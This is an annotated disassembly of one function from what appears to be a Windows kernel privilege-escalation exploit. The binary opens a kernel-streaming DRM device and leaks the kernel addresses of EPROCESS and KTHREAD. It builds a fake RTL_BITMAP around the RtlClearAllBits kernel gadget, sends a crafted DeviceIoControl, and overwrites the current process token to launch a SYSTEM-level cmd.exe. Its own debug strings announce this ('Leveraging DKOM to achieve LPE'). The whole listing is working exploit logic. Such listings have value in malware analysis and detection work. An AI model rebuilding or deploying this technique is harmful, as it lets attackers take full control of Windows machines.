Function at 0x140001740
Capabilities:
Execute command
Get system information on windows
Load ntoskrnl
Make suspicious ntquerysysteminformation call
Resolve ntoskrnl gadgets

Disassembly:
push rbp
push rbx
push rsi
lea rbp, [rsp - 0x10]
sub rsp, 0x110
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp - 0x10], rax
call fcn.140001340
xor esi, esi
lea r8, [rsp + 0x58]
xorps xmm0, xmm0
mov qword [rbp - 0x38], rsi
mov edx, 0xc0000000
movdqa xmmword [rbp - 0x30], xmm0
lea rcx, [0x140004db8]
mov qword [rbp - 0x20], rsi
mov qword [rsp + 0x58], rsi
call qword [sym.imp.ksproxy.ax_KsOpenDefaultDevice]
mov ebx, eax
test eax, eax
je 0x1400017ac
mov edx, eax
lea rcx, str.____KsOpenDefaultDevice_failed_with_error___x_n
call fcn.140001020
mov eax, ebx
jmp 0x140001bd4
mov rdx, qword [rsp + 0x58]
lea rcx, str.___DRM_device_handle_value___p_n
mov qword [rsp + 0x138], r12
mov qword [rsp + 0x108], r14
call fcn.140001020
mov edx, 4
mov qword [rsp + 0x40], rsi
mov r8d, edx
mov qword [rsp + 0x48], rsi
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x50], rsi
mov r12, rsi
mov r14, rsi
call fcn.140001210
test eax, eax
jne 0x140001bc4
mov qword [rsp + 0x130], rdi
lea rcx, str.___System_EPROCESS_address:__llx_n
mov rdi, qword [rsp + 0x40]
mov rdx, rdi
call fcn.140001020
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, 1
mov ecx, 0x40
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rbx, rax
test rax, rax
je 0x14000186a
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, rbx
lea rcx, [rsp + 0x50]
mov edx, eax
call fcn.140001210
test eax, eax
jne 0x140001bbc
mov r14, qword [rsp + 0x50]
lea rcx, str.___Current_KTHREAD_address:__llx_n
mov rdx, r14
call fcn.140001020
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, 1
mov ecx, 0x400
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400018bc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8, rbx
lea rcx, [rsp + 0x48]
mov edx, eax
call fcn.140001210
test eax, eax
jne 0x140001bbc
mov r12, qword [rsp + 0x48]
lea rcx, str.___Current_EPROCESS_address:__llx_n
mov rdx, r12
call fcn.140001020
movups xmm0, xmmword [0x140004dd0]
mov edx, 0x10
mov qword [rsp + 0x100], r15
mov ecx, 0x10000000
mov dword [rbp - 0x3c], 0x1000
mov r9d, 4
movaps xmmword [rbp - 0x50], xmm0
mov r8d, 0x3000
mov dword [rbp - 0x40], esi
movups xmmword [rsp + 0x68], xmm0
mov dword [rsp + 0x78], 1
movups xmmword [rsp + 0x7c], xmm0
mov dword [rbp - 0x68], 8
mov qword [rbp - 0x70], rsi
mov dword [rbp - 0x74], 0x45
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x14000193a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____AllocateBitmap_failed_with_error:__d_n
call fcn.140001020
mov rbx, rsi
jmp 0x140001949
mov rdx, rax
lea rcx, str.___Fake_RTL_BITMAP_allocated_at_address___p_n
call fcn.140001020
movsxd rcx, dword [0x1400070b4]
xor edx, edx
mov qword [rbp - 0x64], rbx
add rcx, r14
mov dword [rbx], 0x20
mov r8d, 1
mov rax, qword [rbp - 0x64]
mov qword [rsp + 0x140], r13
mov qword [rax + 8], rcx
lea rcx, [0x140004538]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov r15, rax
test rax, rax
je 0x140001aa7
lea rdx, str.RtlClearAllBits
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
test rax, rax
je 0x140001aa7
lea r9, [rsp + 0x50]
mov dword [rsp + 0x50], esi
xor r8d, r8d
xor edx, edx
mov ecx, 0xb
mov rdi, rsi
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140001a23
nop dword [rax]
mov eax, dword [rsp + 0x50]
lea ebx, [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, 8
mov rcx, rax
test rdi, rdi
je 0x1400019f8
mov r9d, ebx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
jmp 0x140001a01
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r8d, dword [rsp + 0x50]
lea r9, [rsp + 0x50]
mov rdx, rax
mov ecx, 0xb
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x1400019d0
test eax, eax
jne 0x140001a70
mov ebx, esi
cmp dword [rdi], esi
jbe 0x140001a83
nop dword [rax]
mov eax, ebx
lea rdx, str.ntoskrnl.exe
imul rsi, rax, 0x128
lea rcx, [rsi + 0x30]
add rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x140001a5c
inc ebx
cmp ebx, dword [rdi]
jb 0x140001a30
xor esi, esi
jmp 0x140001a83
mov rdx, qword [rsi + rdi + 0x18]
xor esi, esi
mov rdi, qword [rsp + 0x40]
sub rdx, r15
add rdx, r13
jmp 0x140001ab6
test rdi, rdi
je 0x140001a83
mov edx, eax
lea rcx, str.____NtQuerySystemInformation_failed.__NTSTATUS_code:_0x_X__n
call fcn.140001020
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [rsp + 0x40]
mov rdx, rsi
sub rdx, r15
add rdx, r13
jmp 0x140001ab6
lea rcx, str.____leak_gadget_address_failed_n
call fcn.140001020
mov rdx, rsi
lea rcx, str.____RtlClearAllBits_kernel_address___p_n
mov qword [rbp - 0x18], rdx
call fcn.140001020
mov rcx, qword [rsp + 0x58]
lea rax, [rsp + 0x68]
mov qword [rsp + 0x38], rsi
lea r8, [rbp - 0x50]
mov qword [rsp + 0x30], rsi
mov r9d, 0x40
mov dword [rsp + 0x28], 0x3c
mov edx, 0x2f0003
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov r15, qword [rsp + 0x100]
mov r13, qword [rsp + 0x140]
test eax, eax
jne 0x140001b29
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____DeviceIoControl_failed___error_:__d_n
call fcn.140001020
jmp 0x140001bba
lea rcx, str.____Leveraging_DKOM_to_achieve_LPE_n
call fcn.140001020
lea rcx, str.____Calling_Write64_wrapper_to_overwrite_current_EPROCESS__Token_n
call fcn.140001020
movsxd rax, dword [0x1400070b8]
lea rbx, [rax + rdi]
lea rdi, [rax + r12]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 8
mov qword [rsp + 0x20], rsi
mov rcx, rax
mov r8, rbx
mov rdx, rdi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
movsxd rbx, dword [0x1400070b4]
add rbx, r14
mov byte [rsp + 0x60], 1
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 1
mov qword [rsp + 0x20], rsi
mov rcx, rax
lea r8, [rsp + 0x60]
mov rdx, rbx
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rcx, str.system_cmd.txt_n
call fcn.140001020
lea rcx, str.cmd.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rdi, qword [rsp + 0x130]
mov r12, qword [rsp + 0x138]
mov r14, qword [rsp + 0x108]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140002270
add rsp, 0x110
pop rsi
pop rbx
pop rbp
ret